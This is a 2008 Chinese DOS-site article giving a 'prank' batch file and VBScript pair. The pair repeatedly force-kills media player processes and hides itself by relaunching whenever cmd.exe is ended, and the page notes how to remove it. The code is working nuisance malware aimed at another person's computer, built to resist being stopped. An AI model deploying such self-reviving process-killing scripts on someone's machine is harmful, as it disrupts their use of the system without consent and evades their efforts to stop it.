当前位置:DOS资源站资料中心入门文章 → 一个整人的BAT小程序

一个整人的BAT小程序

减小字体 增大字体 作者:佚名  来源:本站整理  发布时间:2008-4-16 21:49:46

这是kill.bat(杀播放器进程):
@echo off&title DOS资源站 www.cmdos.net
:go
for /f "tokens=1 delims=," %%i in ('tasklist /fo:csv /nh') do (
if /i "%%~i"=="RealPlay.exe" taskkill /f /im:%%~i
if /i "%%~i"=="mplayerc.exe" taskkill /f /im:%%~i
)
::time.vbs起延时和防止bat被杀
time.vbs
goto :go

这是time.vbs:
wscript.sleep 2000
set oshell=createobject("wscript.shell")
strComputer = "."   
Set wbemServices = Getobject("winmgmts:\\" & strComputer)
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")

For Each wbemObject In wbemObjectSet
  if wbemObject.Name="cmd.exe" then
     flag=1
     exit for
  elseif wbemObject.Name="CMD.EXE" then
     flag=1
     exit for
  else flag=0
  end if
Next

if flag=0 then
oshell.run "cmd /c kill.bat",0
end if
把两个文件放在同一个文件夹里,双击time.vbs就行了。
用任务管理器结束cmd后vbs又会调用它,基本上杀不掉。能被关掉的几率很小,可以试试~~
解决方法可以是:把time.vbs剪切到另一目录,再用任务管理器结束cmd.exe就行了~~